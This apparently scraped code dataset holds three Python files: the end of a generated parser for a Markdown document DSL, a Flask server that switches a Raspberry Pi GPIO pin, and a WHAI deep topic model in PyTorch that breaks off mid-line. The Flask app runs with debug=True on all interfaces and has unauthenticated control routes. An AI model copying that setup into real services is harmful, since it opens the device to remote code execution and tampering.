res[self._SK_ROW]\n self._col = res[self._SK_COL]\n return res\n\n def _state_save(self):\n self._state_stack[-1][self._SK_TXT] = self._txt\n self._state_stack[-1][self._SK_ROW] = self._row\n self._state_stack[-1][self._SK_COL] = self._col\n self._state_stack[-1][self._SK_OCC] += 1\n\n def _state_upd(self, m_txt):\n row_cnt = m_txt.count('\\n')\n\n if row_cnt == 0:\n last_row_txt = m_txt\n\n self._col += len(last_row_txt)\n else:\n last_row_txt = m_txt[m_txt.rfind('\\n')+1:]\n\n self._row += row_cnt\n\n self._col = len(last_row_txt)\n\n def _or(self, succ=None):\n if succ is None:\n self._or_beg()\n else:\n self._or_end(succ)\n\n def _or_beg(self):\n #/\n self._scan_ei_sp = self._scan_ei_s\n\n self._scan_ei_s = []\n\n def _or_end(self, succ):\n if not succ:\n self._error()\n\n def _ori(self, succ=None):\n if succ is None:\n self._ori_beg()\n else:\n self._ori_end(succ)\n\n def _ori_beg(self):\n #/\n self._state_push()\n\n def _ori_end(self, succ):\n #/\n if succ:\n #/\n self._state_save()\n\n #/\n self._state_pop()\n\n #/\n if succ:\n raise ScanOk()\n\n def _o01(self, succ=None):\n if succ is None:\n self._o01_beg()\n else:\n self._o01_end(succ)\n\n def _o01_beg(self):\n #/\n self._scan_ei_sp = self._scan_ei_s\n\n self._scan_ei_s = []\n\n #/\n self._state_push()\n\n def _o01_end(self, succ):\n #/\n if succ:\n #/\n self._state_save()\n\n #/\n self._state_pop()\n\n #/\n self._ss = True\n\n def _o0m(self, succ=None):\n if succ is None:\n self._o0m_beg()\n elif succ:\n self._state_save()\n else:\n self._o0m_end()\n\n def _o0m_beg(self):\n #/\n self._scan_ei_sp = self._scan_ei_s\n\n self._scan_ei_s = []\n\n #/\n self._state_push()\n\n def _o0m_end(self):\n #/\n self._state_pop()\n\n #/\n self._ss = True\n\n def _o1m(self, succ=None):\n if succ is None:\n self._o1m_beg()\n elif succ:\n self._state_save()\n else:\n self._o1m_end()\n\n def _o1m_beg(self):\n #/\n self._scan_ei_sp = self._scan_ei_s\n\n self._scan_ei_s = []\n\n #/\n self._state_push()\n\n def _o1m_end(self):\n #/\n res = self._state_pop()\n\n #/\n self._ss = res[self._SK_OCC] > 0\n\n #/\n if not self._ss:\n self._error()\n\n def _error(self, rep=None):\n raise ScanError(\n ctx=self._ctx,\n txt=self._txt,\n row=self._row,\n col=self._col,\n rep=rep,\n eis=self._scan_ei_s,\n eisp=self._scan_ei_sp,\n )\n\n\n def _ctx_add(self, ctx):\n #/ store a terminal rule's matched text to \"res\" key\n ## if \"res\" key is not set yet\n if 'res' not in ctx:\n #/\n rem = ctx.get('rem', None)\n\n if rem is not None:\n ctx.res = rem.group()\n\n #/\n self._ctx_s.append(ctx)\n\n #/\n self._hdlrs_run(ctx.name, ctx)\n\n def _nto(self, name):\n #/\n if self._nto_custom is not None:\n try:\n return self._nto_custom(name)\n except KeyError:\n pass\n\n #/\n if name == NTO_K_PSR:\n return self\n\n #/\n if name == NTO_K_CTX:\n return self._ctx\n\n #/\n raise KeyError(name)\n\n def _hdlr_nto(self, name):\n #/\n if self._nto_custom is not None:\n try:\n return self._nto_custom(name)\n except KeyError:\n pass\n\n #/\n if name == NTO_K_PSR:\n return self\n\n #/\n if name == NTO_K_CTX:\n #/ 3gO8pLS\n ## set at 2jNmlmK\n return self._hdlr_ctx\n\n #/\n raise KeyError(name)\n\n def _hdlr_add(self, rule, hdlr):\n #/\n hdlr_s = self._hdlr_d.setdefault(rule, [])\n\n hdlr_s.append(hdlr)\n\n def _hdlrs_run(self, rule, ctx):\n #/ 2jNmlmK\n ## used at 3gO8pLS\n self._hdlr_ctx = ctx\n\n #/\n hdlr_s = self._hdlr_d.get(rule, None)\n\n #/\n if hdlr_s:\n for hdlr in hdlr_s:\n if isinstance(hdlr, (FuncNode, DelayedFunc)):\n hdlr.eval(nto=self._hdlr_nto_bound)\n else:\n hdlr(self, ctx)\n\n def _tmp_get(self, tmp_id):\n #/\n tmp = self._tmp_d.get(tmp_id, None)\n\n if tmp is None:\n tmp = self._tmp_d[tmp_id] = AttrDict()\n\n return tmp\n\n def all(self, _ctx):\n #/\n self._o0m()\n try:\n while 1:\n #/\n self._or()\n try:\n #/\n self._ori()\n try:\n ext = self._scan('ext')\n except Er: self._ori(0)\n else: self._ori(1)\n #/\n self._ori()\n try:\n newline = self._scan('newline')\n except Er: self._ori(0)\n else: self._ori(1)\n #/\n self._ori()\n try:\n heading = self._scan('heading')\n except Er: self._ori(0)\n else: self._ori(1)\n #/\n self._ori()\n try:\n fences = self._scan('fences')\n except Er: self._ori(0)\n else: self._ori(1)\n #/\n self._ori()\n try:\n lines = self._scan('lines')\n except Er: self._ori(0)\n else: self._ori(1)\n #/\n self._ori()\n try:\n line = self._scan('line')\n except Er: self._ori(0)\n else: self._ori(1)\n except Ok: self._or(1)\n else: self._or(0)\n #```\n self._ctx_add(self._rctx)\n #```\n self._o0m(1)\n except Er: self._o0m(0)\n end = self._scan('end')\n\n end_REO = re.compile(r'$')\n def end(self, _ctx):\n end = self._scan_reo(self.end_REO)\n\n newline_REO = re.compile(r'\\n+')\n def newline(self, _ctx):\n newline = self._scan_reo(self.newline_REO)\n\n heading_REO = re.compile(r'[ ]*(#{1,6})[ ]*([^\\n]+?)[ ]*#*[ ]*\\n')\n def heading(self, _ctx):\n heading = self._scan_reo(self.heading_REO)\n\n fences_REO = re.compile(r'[ ]*(?P`{3,}|~{3,})(?P[\\s\\S]+?)(?P=fence_delim)')\n def fences(self, _ctx):\n fences = self._scan_reo(self.fences_REO)\n #```\n #/\n _ctx.res = ''\n\n #/\n fence_beg = AttrDict()\n fence_beg.name = 'fence_beg'\n fence_beg.res = _ctx.rem.group('fence_delim')\n self._ctx_s.append(fence_beg)\n\n #/\n fence_text = fences.rem.group('fence_text')\n\n #/\n parser, res, ei = parse(txt=fence_text, nto=self._nto_custom, rule='inline')\n\n if ei is not None:\n raise_(ei[1], tb=ei[2])\n\n #/\n self._ctx_s.extend(parser._ctx_s)\n\n #/\n fence_end = AttrDict()\n fence_end.name = 'fence_end'\n fence_end.res = _ctx.rem.group('fence_delim')\n self._ctx_s.append(fence_end)\n #```\n\n lines_REO = re.compile((\n #/ Match multiple lines.\n ##\n ## \"([^\\n\\[]|\\[(?!:)\" means one character that is neither newline nor '[',\n ## or it is '[' but not followed by ':'. This means each line matches until\n ## \"[:\" is met, which is rule \"ext\"'s syntax.\n ##\n ## \"(?!%s)\" means no line's next line is heading or fences.\n ##\n ## \"\\n?\" is to cover the case when the last line that should be matched is\n ## followed by only one newline and a heading. In such a case, \"\\n?\" will\n ## not match the only newline, otherwise \"(?!%s)\" will not be matched.\n\n r'((?:([^\\n\\[]|\\[(?!:))+\\n?(?!%s))+)\\n*' % '|'.join([\n heading_REO.pattern,\n fences_REO.pattern,\n ])\n ))\n def lines(self, _ctx):\n lines = self._scan_reo(self.lines_REO)\n\n line_REO = re.compile(r'[^\\n]+')\n def line(self, _ctx):\n line = self._scan_reo(self.line_REO)\n\n def inline(self, _ctx):\n #/\n self._o0m()\n try:\n while 1:\n #/\n self._or()\n try:\n #/\n self._ori()\n try:\n ext = self._scan('ext')\n except Er: self._ori(0)\n else: self._ori(1)\n #/\n self._ori()\n try:\n newline = self._scan('newline')\n except Er: self._ori(0)\n else: self._ori(1)\n #/\n self._ori()\n try:\n lines = self._scan('lines')\n except Er: self._ori(0)\n else: self._ori(1)\n #/\n self._ori()\n try:\n line = self._scan('line')\n except Er: self._ori(0)\n else: self._ori(1)\n except Ok: self._or(1)\n else: self._or(0)\n #```\n self._ctx_add(self._rctx)\n #```\n self._o0m(1)\n except Er: self._o0m(0)\n\n ext_beg_REO = re.compile(r'\\[:')\n def ext_beg(self, _ctx):\n ext_beg = self._scan_reo(self.ext_beg_REO)\n\n ext_end_REO = re.compile(r'\\]')\n def ext_end(self, _ctx):\n ext_end = self._scan_reo(self.ext_end_REO)\n\n ext_lit_sign_REO = re.compile(r'`')\n def ext_lit_sign(self, _ctx):\n ext_lit_sign = self._scan_reo(self.ext_lit_sign_REO)\n\n ext_end_newline_REO = re.compile(r'\\\\\\n')\n def ext_end_newline(self, _ctx):\n ext_end_newline = self._scan_reo(self.ext_end_newline_REO)\n\n def ext(self, _ctx):\n ext_beg = self._scan('ext_beg')\n ext_expr = self._scan('ext_expr')\n ext_end = self._scan('ext_end')\n #/\n self._o01()\n try:\n ext_end_newline = self._scan('ext_end_newline')\n except Er: self._o01(0)\n else: self._o01(1)\n #```\n #/\n _ctx.res = None\n\n #/\n expr_node = ext_expr.res\n\n #/\n res = expr_node.eval(nto=self._nto_bound)\n\n #/\n ## Function return value is not used as \"res\" value\n ## because we expect function to set \"res\" key by itself.\n if not isinstance(expr_node, FuncNode):\n _ctx.res = res\n #```\n\n def ext_expr(self, _ctx):\n expr = self._scan('expr')\n #```\n _ctx.res = expr.res\n #```\n\n def ext_rfunc(self, _ctx):\n expr = self._scan('expr')\n #```\n _ctx.res = expr.res\n #```\n\n ws_REO = re.compile(r'\\s*')\n def ws(self, _ctx):\n ws = self._scan_reo(self.ws_REO)\n\n def expr(self, _ctx):\n #/\n self._or()\n try:\n #/\n self._ori()\n try:\n lit_val = self._scan('lit_val')\n #```\n _ctx.res = ValNode(lit_val.res)\n #```\n except Er: self._ori(0)\n else: self._ori(1)\n #/\n self._ori()\n try:\n expr_list = self._scan('expr_list')\n #```\n _ctx.res = expr_list.res\n #```\n except Er: self._ori(0)\n else: self._ori(1)\n #/\n self._ori()\n try:\n expr_group = self._scan('expr_group')\n #```\n _ctx.res = expr_group.res\n #```\n except Er: self._ori(0)\n else: self._ori(1)\n #/\n self._ori()\n try:\n name = self._scan('name')\n #```\n is_func = False\n #```\n #/\n self._o01()\n try:\n args_group = self._scan('args_group')\n #```\n is_func = True\n #```\n except Er: self._o01(0)\n else: self._o01(1)\n #```\n if is_func:\n _ctx.res = FuncNode(name=name.res, args_node=args_group.res)\n else:\n _ctx.res = NameNode(name.res)\n #```\n except Er: self._ori(0)\n else: self._ori(1)\n except Ok: self._or(1)\n else: self._or(0)\n\n def name(self, _ctx):\n ws = self._scan('ws')\n _rep = self._scan_rep(r'[a-zA-Z_][a-zA-Z0-9_]*')\n #```\n _ctx.res = _rep.rem.group()\n #```\n ws = self._scan('ws')\n\n expr_sep_REO = re.compile(r',')\n def expr_sep(self, _ctx):\n expr_sep = self._scan_reo(self.expr_sep_REO)\n\n def expr_list(self, _ctx):\n ws = self._scan('ws')\n _rep = self._scan_rep(r'\\[')\n #/\n self._or()\n try:\n #/\n self._ori()\n try:\n _rep = self._scan_rep(r'\\]')\n #```\n _ctx.res = ValNode(tuple())\n #```\n except Er: self._ori(0)\n else: self._ori(1)\n #/\n self._ori()\n try:\n expr = self._scan('expr')\n #```\n item_s = [expr.res]\n #```\n #/\n self._o0m()\n try:\n while 1:\n expr_sep = self._scan('expr_sep')\n expr = self._scan('expr')\n #```\n item_s.append(expr.res)\n #```\n self._o0m(1)\n except Er: self._o0m(0)\n #```\n _ctx.res = ListNode(item_s)\n #```\n #/\n self._o01()\n try:\n expr_sep = self._scan('expr_sep')\n except Er: self._o01(0)\n else: self._o01(1)\n _rep = self._scan_rep(r'\\]')\n except Er: self._ori(0)\n else: self._ori(1)\n except Ok: self._or(1)\n else: self._or(0)\n ws = self._scan('ws')\n\n def expr_group(self, _ctx):\n ws = self._scan('ws')\n _rep = self._scan_rep(r'[(]')\n #/\n self._or()\n try:\n #/\n self._ori()\n try:\n _rep = self._scan_rep(r'[)]')\n #```\n _ctx.res = ValNode(tuple())\n #```\n except Er: self._ori(0)\n else: self._ori(1)\n #/\n self._ori()\n try:\n expr = self._scan('expr')\n #```\n item_s = [expr.res]\n #```\n #/\n self._o0m()\n try:\n while 1:\n expr_sep = self._scan('expr_sep')\n expr = self._scan('expr')\n #```\n item_s.append(expr.res)\n #```\n self._o0m(1)\n except Er: self._o0m(0)\n #```\n _ctx.res = TupleNode(item_s)\n #```\n #/\n self._o01()\n try:\n expr_sep = self._scan('expr_sep')\n except Er: self._o01(0)\n else: self._o01(1)\n _rep = self._scan_rep(r'[)]')\n except Er: self._ori(0)\n else: self._ori(1)\n except Ok: self._or(1)\n else: self._or(0)\n ws = self._scan('ws')\n\n def args_group(self, _ctx):\n ws = self._scan('ws')\n _rep = self._scan_rep(r'[(]')\n args = self._scan('args')\n #```\n _ctx.res = args.res\n #```\n _rep = self._scan_rep(r'[)]')\n ws = self._scan('ws')\n\n def args(self, _ctx):\n #```\n item_s = []\n #```\n #/\n self._o01()\n try:\n args_o1m = self._scan('args_o1m')\n #```\n item_s = args_o1m.res\n #```\n except Er: self._o01(0)\n else: self._o01(1)\n #```\n _ctx.res = ArgsNode(item_s)\n #```\n\n def args_o1m(self, _ctx):\n #```\n _ctx.res = []\n #```\n arg = self._scan('arg')\n #```\n _ctx.res.append(arg.res)\n #```\n #/\n self._o0m()\n try:\n while 1:\n _rep = self._scan_rep(r',')\n arg = self._scan('arg')\n #```\n _ctx.res.append(arg.res)\n #```\n self._o0m(1)\n except Er: self._o0m(0)\n #/\n self._o01()\n try:\n _rep = self._scan_rep(r',')\n except Er: self._o01(0)\n else: self._o01(1)\n\n def arg(self, _ctx):\n #/\n self._or()\n try:\n #/\n self._ori()\n try:\n karg = self._scan('karg')\n #```\n _ctx.res = karg.res\n #```\n except Er: self._ori(0)\n else: self._ori(1)\n #/\n self._ori()\n try:\n parg = self._scan('parg')\n #```\n _ctx.res = parg.res\n #```\n except Er: self._ori(0)\n else: self._ori(1)\n except Ok: self._or(1)\n else: self._or(0)\n\n def parg(self, _ctx):\n expr = self._scan('expr')\n #```\n _ctx.res = PargNode(expr.res)\n #```\n\n def karg(self, _ctx):\n name = self._scan('name')\n _rep = self._scan_rep(r'=')\n expr = self._scan('expr')\n #```\n _ctx.res = KargNode(key=name.res, val_node=expr.res)\n #```\n\n def lit_val(self, _ctx):\n ws = self._scan('ws')\n #/\n self._or()\n try:\n #/\n self._ori()\n try:\n lit_str = self._scan('lit_str')\n #```\n _ctx.res = lit_str.res\n #```\n except Er: self._ori(0)\n else: self._ori(1)\n #/\n self._ori()\n try:\n lit_num = self._scan('lit_num')\n #```\n _ctx.res = lit_num.res\n #```\n except Er: self._ori(0)\n else: self._ori(1)\n #/\n self._ori()\n try:\n lit_bool = self._scan('lit_bool')\n #```\n _ctx.res = lit_bool.res\n #```\n except Er: self._ori(0)\n else: self._ori(1)\n #/\n self._ori()\n try:\n lit_none = self._scan('lit_none')\n #```\n _ctx.res = lit_none.res\n #```\n except Er: self._ori(0)\n else: self._ori(1)\n except Ok: self._or(1)\n else: self._or(0)\n ws = self._scan('ws')\n\n lit_str_REO = re.compile('r?(\\'\\'\\'|\"\"\"|\\'|\")((?:[^\\\\\\\\]|\\\\\\\\.)*?)(\\\\1)')\n def lit_str(self, _ctx):\n lit_str = self._scan_reo(self.lit_str_REO)\n #```\n _ctx.res = eval(lit_str.rem.group())\n #```\n\n lit_num_REO = re.compile(r\"\"\"\n ([-+])? # sign\n (?=\\d|[.]\\d) # next is an integer part or a fraction part\n (\\d*) # integer part\n ([.]\\d*)? # fraction part\n (e[-+]?\\d+)? # exponent part\n \"\"\", re.VERBOSE | re.IGNORECASE)\n def lit_num(self, _ctx):\n lit_num = self._scan_reo(self.lit_num_REO)\n #```\n _ctx.res = eval(lit_num.rem.group())\n #```\n\n lit_bool_REO = re.compile(r'(True|False)(?![a-zA-Z0-9_])')\n def lit_bool(self, _ctx):\n lit_bool = self._scan_reo(self.lit_bool_REO)\n #```\n _ctx.res = True if (lit_bool.rem.group() == 'True') else False\n #```\n\n lit_none_REO = re.compile(r'None(?![a-zA-Z0-9_])')\n def lit_none(self, _ctx):\n lit_none = self._scan_reo(self.lit_none_REO)\n #```\n _ctx.res = None\n #```\n\n#/\ndef parse(txt, nto, debug=False, rule=None):\n #/\n parser = Parser(\n txt=txt,\n nto=nto,\n debug=debug,\n )\n\n #/\n if rule is None:\n rule = 'all'\n\n #/\n res = None\n\n ei = None\n\n try:\n res = parser._scan(rule)\n except Exception:\n ei = sys.exc_info()\n\n #/\n return parser, res, ei\n","sub_path":"src/aoikdyndocdsl/ext/markdown/parser/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":29033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"125474219","text":"from flask import Flask, jsonify\nfrom flask_cors import CORS\nfrom flask import request\nimport socket\nfrom gpiozero import LED\nimport time\nfrom datetime import date\n\nhostname = socket.gethostname()\nlocal_ip = socket.gethostbyname(hostname)\n\n# Autodrive is either HIGH or LOW, TRUE or FALSE\n\n\napp = Flask(__name__)\nCORS(app=app)\n\ndef write_log(rawContent, aip = None):\n if aip == None:\n ip = request.remote_addr\n else:\n ip = aip\n with open(\"log.txt\", \"a\") as f:\n content = str(date.today()) + \" \" + time.strftime('%H:%M:%S', time.localtime()) + \" => \" + rawContent + \" [\" + ip + \"] \" + \"\\n\"\n f.write(str(content))\n f.close()\n\ntry:\n autoDrive = LED(17)\nexcept:\n write_log(\"Failed to register pins, likely beacuse the script is not running on a rasperry pi with pins\", aip=\"N/A\")\n pass\n\n@app.route(\"/verify\", methods=[\"GET\"])\ndef verify():\n write_log(\"Verified access\")\n return jsonify({\"ip\": request.remote_addr, \"status\": 200}), 200\n\n\n@app.route(\"/drive/auto/on\", methods=[\"GET\"])\ndef auto_on():\n try:\n autoDrive.on()\n write_log(\"Turned on auto driver\")\n return jsonify({\"status\": 200}), 200\n except:\n write_log(\"Failed to turn on auto driver, could the script not be running on a raspberry pi machine?\")\n return jsonify({\"status\": 500}), 500 \n\n@app.route(\"/drive/auto/off\", methods=[\"GET\"])\ndef auto_off():\n try:\n autoDrive.off()\n write_log(\"Turned off auto driver\")\n return jsonify({\"status\": 200}), 200\n except:\n write_log(\"Failed to turn on auto driver, could the script not be running on a raspberry pi machine?\")\n return jsonify({\"status\": 500}), 500 \n\n@app.route(\"/drive/right\", methods=[\"GET\"])\ndef drive_right():\n try:\n return jsonify({\"status\": 200}), 200\n except:\n return jsonify({\"status\": 500}), 500\n\n\n@app.errorhandler(404)\ndef page_not_found(error):\n write_log(\"Encountered a 404\")\n return jsonify({\"error\": str(error), \"status\": 404}), 404\n\n\nif __name__ == \"__main__\":\n write_log(\"\\n\" + \"\\n\" + \"Started server [V.0.7]. If the ip following is not a 192.168 adress, consider checking ifconfig wlan0\", aip=local_ip)\n app.run(host='0.0.0.0', port=5000, debug=True, threaded=True)\n pass\n","sub_path":"server_raspberry/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"244849136","text":"\"\"\"\n===========================================\nWHAI: WEIBULL HYBRID AUTOENCODING INFERENCE FOR DEEP TOPIC MODELING\nHao Zhang, Bo Chen, Dandan Guo and Mingyuan Zhou\nPublished as a conference paper at ICLR 2018\n\n===========================================\n\n\"\"\"\n\n# Author: Xinyang Liu \n# License: BSD-3-Clause\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.nn.parameter import Parameter\nimport warnings\nimport os\nimport copy\nfrom tqdm import tqdm\nfrom ._basic_model import Basic_Model\nfrom .._sampler import Basic_Sampler\nfrom .._utils import *\nwarnings.filterwarnings(\"ignore\")\n\nclass Conv1D(nn.Module):\n def __init__(self, nf, rf, nx, device):\n '''\n convolutional layer\n Inputs:\n nf: Size of dimension produced by the convolution\n rf: Size of the convolving kernel\n nx: Size of dimension in the input\n\n Attributes:\n w (Tensor): the learnable weights of the module of shape\n b (Tensor): the learnable bias of the module of shape\n '''\n super(Conv1D, self).__init__()\n self.rf = rf\n self.nf = nf\n if rf == 1: # faster 1x1 conv\n w = torch.empty(nx, nf).to(device)\n nn.init.normal_(w, std=0.02)\n self.w = Parameter(w)\n self.b = Parameter(torch.zeros(nf).to(device))\n else: # was used to train LM\n raise NotImplementedError\n\n def forward(self, x):\n '''\n Input:\n x: Input of convolutional layer\n\n Outputs:\n x: The fresh x produced by the convolution\n\n '''\n if self.rf == 1:\n size_out = x.size()[:-1] + (self.nf,)\n x = torch.addmm(self.b, x.view(-1, x.size(-1)), self.w)\n x = x.view(*size_out)\n else:\n raise NotImplementedError\n return x\n\n # def __repr__(self):\n\n\nclass WHAI(Basic_Model, nn.Module):\n def __init__(self, K: list, H:list, V:int, device='gpu'):\n \"\"\"\n The basic model for WHAI\n Inputs:\n K : [list] Number of topics at different layers in WHAI;\n H : [list] Size of dimension at different hidden layers in WHAI;\n V : [int] Length of the vocabulary for convolutional layers in WHAI;\n device : [str] 'cpu' or 'gpu';\n\n Attributes:\n @public:\n global_params : [Params] the global parameters of the probabilistic model\n local_params : [Params] the local parameters of the probabilistic model\n h_encoder : [Modulelist] the convolutional layers for latent representation for WHAI\n shape_encoder : [Modulelist] the convolutional layers for shape-parameters in Weibull distribution\n scale_encoder : [Modulelist] the convolutional layers for scale-parameters in Weibull distribution\n\n @private:\n _model_setting : [Params] the model settings of the probabilistic model\n _hyper_params : [Params] the hyper parameters of the probabilistic model\n _model_setting.T : [int] the network depth\n _real_min : [Tensor] the parameter to prevent overflow\n\n \"\"\"\n super(WHAI, self).__init__()\n setattr(self, '_model_name', 'WHAI')\n\n self._model_setting.K = K\n self._model_setting.H = H\n self._model_setting.V = V\n self._model_setting.T = len(K)\n self.H_dim = [self._model_setting.V] + self._model_setting.H\n self._model_setting.device = 'cpu' if device == 'cpu' else 'gpu'\n self.data_device = device\n self._real_min = torch.tensor(1e-30)\n self.h_encoder = nn.ModuleList([Conv1D(self.H_dim[i + 1], 1, self.H_dim[i], device) for i in range(self._model_setting.T)])\n self.shape_encoder = nn.ModuleList([Conv1D(1, 1, in_dim, device) for in_dim in self._model_setting.H])\n self.scale_encoder = nn.ModuleList([Conv1D(k_dim, 1, h_dim, device) for k_dim, h_dim in zip(self._model_setting.K, self._model_setting.H)])\n\n assert self._model_setting.device in ['cpu',\n 'gpu'], 'Device Type Error: the device should be ''cpu'' or ''gpu'''\n\n self._sampler = Basic_Sampler(self._model_setting.device)\n\n\n def initial(self, voc=None, cls=None, batch_size=100, n_epochs=100, MBratio=100):\n '''\n Initial the parameters of WHAI with the settings about documents\n Inputs:\n voc : [list] V list, vocabulary with length of V\n cls : [int] Classes of documents\n batch_size : [int] The batch_size for updating Phi and preparing dataset\n n_epochs : [int] Number of epochs in training stage\n MBratio : [int] Length of dataloader for updating Phi in training stage\n\n Attributes:\n @public:\n global_params.Phi : [list] T (K_t-1)*(K_t) factor loading matrices at different layers\n train_num : [int] Current counts of updating Phi\n drop_out : Probability of an element to be zeroed in neural network\n Ndot, xt_to_t1, WSZS, EWSZS : Intermediate variables parameters in updating Phi\n\n @private:\n _real_min_phi : [float] scalar, the parameter to prevent overflow in updating Phi\n _ForgetRate, _epsit : Parameters in updating Phi\n\n\n '''\n self._model_setting.n_epochs = n_epochs\n self._model_setting.batch_size = batch_size\n self._model_setting.voc = voc\n self._model_setting.cls = cls\n self._model_setting.MBratio = MBratio\n self._real_min_phi = 1e-30\n\n\n self.NDot = [0] * self._model_setting.T\n self.Xt_to_t1 = [0] * self._model_setting.T\n self.WSZS = [0] * self._model_setting.T\n self.EWSZS = [0] * self._model_setting.T\n\n self.global_params.Phi = self.init_phi()\n\n n_updates = MBratio * self._model_setting.n_epochs\n self._ForgetRate = np.power((0 + np.linspace(1, n_updates, n_updates)), -0.9)\n\n epsit = np.power((20 + np.linspace(1, n_updates,\n n_updates)), -0.7)\n self._epsit = 1 * epsit / epsit[0]\n\n self.train_num = 0\n self.dropout = torch.nn.Dropout(p=0.4)\n\n\n\n def reset_para(self, n_updates, batch_size, MBratio):\n \"\"\"\n Reset private parameters about updating Phi\n inputs:\n n_updates : [int] Total counts for updating Phi\n batch_size : [int] The batch_size for updating Phi\n MBratio : [int] Length of dataloader for updating Phi in training stage\n \"\"\"\n self.train_num = 0\n self._model_setting.batch_size = batch_size\n self._ForgetRate = np.power((0 + np.linspace(1, n_updates, n_updates)), -0.9)\n\n epsit = np.power((20 + np.linspace(1, n_updates,\n n_updates)), -0.7)\n self._epsit = 1 * epsit / epsit[0]\n self._model_setting.MBratio = MBratio\n\n def vision_phi(self, outpath='phi_output', top_n=25, topic_diversity=True):\n '''\n Visualization of Phi and getting diversity on each layers\n inputs:\n outpath : [str] The path of visualization of Phi\n top_n : [int] Number of words to display\n topic_diversity : [bool] Whether to get topic diversity\n\n If topic_diversity is True, this function will print the diversity of each layers.\n '''\n def get_diversity(topics):\n word = []\n for line in topics:\n word += line\n word_unique = np.unique(word)\n return len(word_unique) / len(word)\n\n if not os.path.exists(outpath):\n os.makedirs(outpath)\n phi = 1\n for num, phi_layer in enumerate(self.global_params.Phi):\n phi = np.dot(phi, phi_layer)\n phi_k = phi.shape[1]\n path = os.path.join(outpath, 'phi' + str(num) + '.txt')\n f = open(path, 'w')\n topic_word = []\n for each in range(phi_k):\n top_n_words = self.get_top_n(phi[:, each], top_n)\n topic_word.append(top_n_words.split()[:25])\n f.write(top_n_words)\n f.write('\\n')\n f.close()\n if topic_diversity:\n td_value = get_diversity(topic_word)\n print('topic diversity at layer {}: {}'.format(num, td_value))\n\n def get_top_n(self, phi, top_n):\n '''\n Get top n words of each topic\n Inputs:\n phi : The loading matrix\n top_n : Number of words to get\n\n Outputs:\n Top n words\n '''\n top_n_words = ''\n idx = np.argsort(-phi)\n for i in range(top_n):\n index = idx[i]\n top_n_words += self._model_setting.voc[index]\n top_n_words += ' '\n return top_n_words\n\n def log_max(self, x):\n '''\n return log(x+eps)\n '''\n return torch.log(torch.max(x, self._real_min.to(self.data_device)))\n\n def reparameterize(self, Wei_shape, Wei_scale, num_layer):\n '''\n Reparameterization trick for Weibull distribution\n Inputs:\n Wei_shape : Shape-parameter in Weibull distribution\n Wei_scale : Scale-parameter in Weibull distribution\n num_layer : Index of layer to reparameterize on\n\n Outputs:\n theta : The latent matrix (The variables obey Weibull distribution with reparameterization trick)\n '''\n eps = torch.cuda.FloatTensor(self._model_setting.K[num_layer], self._model_setting.batch_size).uniform_(0.2, 0.8)\n theta = Wei_scale * torch.pow(-self.log_max(1 - eps), 1 / Wei_shape)\n return theta ## v*n\n\n def KL_GamWei(self, Gam_shape, Gam_scale, Wei_shape, Wei_scale):\n '''\n Calculate the KL divergence between Gamma distribution and Weibull distribution\n '''\n eulergamma = torch.tensor(0.5772, dtype=torch.float32)\n part1 = eulergamma.to(self.data_device) * (1 - 1 / Wei_shape) + self.log_max(\n Wei_scale / Wei_shape) + 1 + Gam_shape * torch.log(Gam_scale)\n part2 = -torch.lgamma(Gam_shape) + (Gam_shape - 1) * (self.log_max(Wei_scale) - eulergamma.to(self.data_device) / Wei_shape)\n part3 = - Gam_scale * Wei_scale * torch.exp(torch.lgamma(1 + 1 / Wei_shape))\n KL = part1 + part2 + part3\n return KL\n\n def init_phi(self):\n '''\n Initialize the Phi randomly\n '''\n Phi = []\n for t in range(self._model_setting.T): # 0:T-1\n if t == 0:\n Phi.append(0.2 + 0.8 * np.float32(np.random.rand(self._model_setting.V, self._model_setting.K[t])))\n else:\n Phi.append(0.2 + 0.8 * np.float32(np.random.rand(self._model_setting.K[t - 1], self._model_setting.K[t])))\n Phi[t] = Phi[t] / np.maximum(self._real_min, Phi[t].sum(0)) # maximum every elements\n return Phi\n\n def input_phi(self, theta):\n ## for phi NN update\n ## todo something\n return None\n\n def encoder_left(self, x, num_layer):\n '''\n Encoder for hidden layers\n Inputs:\n x : Input of current layer\n num_layer : Index of layers\n\n Outputs:\n The x produced by the encoder\n '''\n if num_layer == 0:\n x = torch.nn.functional.softplus(self.h_encoder[num_layer](self.log_max(1 + x)))\n else:\n x = torch.nn.functional.softplus(self.h_encoder[num_layer](x))\n return x\n\n def encoder_right(self, x, num_layer, phi, theta):\n '''\n Encoder for parameters of Weibull distribution\n Inputs:\n x : Input of current layer\n num_layer : Index of layers\n\n Outputs:\n k, l : The parameters of Weibull distribution produced by the encoder\n '''\n k_tmp = torch.max(torch.exp(self.shape_encoder[num_layer](x)), self._real_min.to(self.data_device)).view(-1, 1)\n k_tmp = k_tmp.repeat(1, self._model_setting.K[num_layer])\n l = torch.max(torch.exp(self.scale_encoder[num_layer](x)), self._real_min.to(self.data_device))\n if num_layer != self._model_setting.T - 1:\n k = torch.max(k_tmp, self._real_min.to(self.data_device))\n else:\n k = torch.max(k_tmp, self._real_min.to(self.data_device))\n return k.permute(1, 0), l.permute(1, 0)\n\n def ProjSimplexSpecial(self, Phi_tmp, Phi_old, epsilon):\n Phinew = Phi_tmp - (Phi_tmp.sum(0) - 1) * Phi_old\n if np.where(Phinew[:, :] <= 0)[0].size > 0:\n Phinew = np.maximum(epsilon, Phinew)\n Phinew = Phinew / np.maximum(realmin, Phinew.sum(0))\n Phinew = Phinew / np.maximum(realmin, Phinew.sum(0))\n return Phinew\n\n def updatePhi(self, Xt, Theta, MBratio, MBObserved):\n '''\n TLASGR-MCMC for updating Phi\n '''\n Xt = np.array(np.transpose(Xt.cpu().detach().numpy()), order='C').astype('double')\n for t in range(self._model_setting.T):\n self.global_params.Phi[t] = np.array(self.global_params.Phi[t], order='C').astype('float64')\n Theta[t] = np.array(Theta[t].cpu().detach().numpy(), order='C').astype('float64')\n if t == 0:\n self.Xt_to_t1[t], self.WSZS[t] = self._sampler.multi_aug(Xt, self.global_params.Phi[t], Theta[t])\n else:\n self.Xt_to_t1[t], self.WSZS[t] = self._sampler.crt_multi_aug(self.Xt_to_t1[t - 1], self.global_params.Phi[t],\n Theta[t])\n self.EWSZS[t] = MBratio * 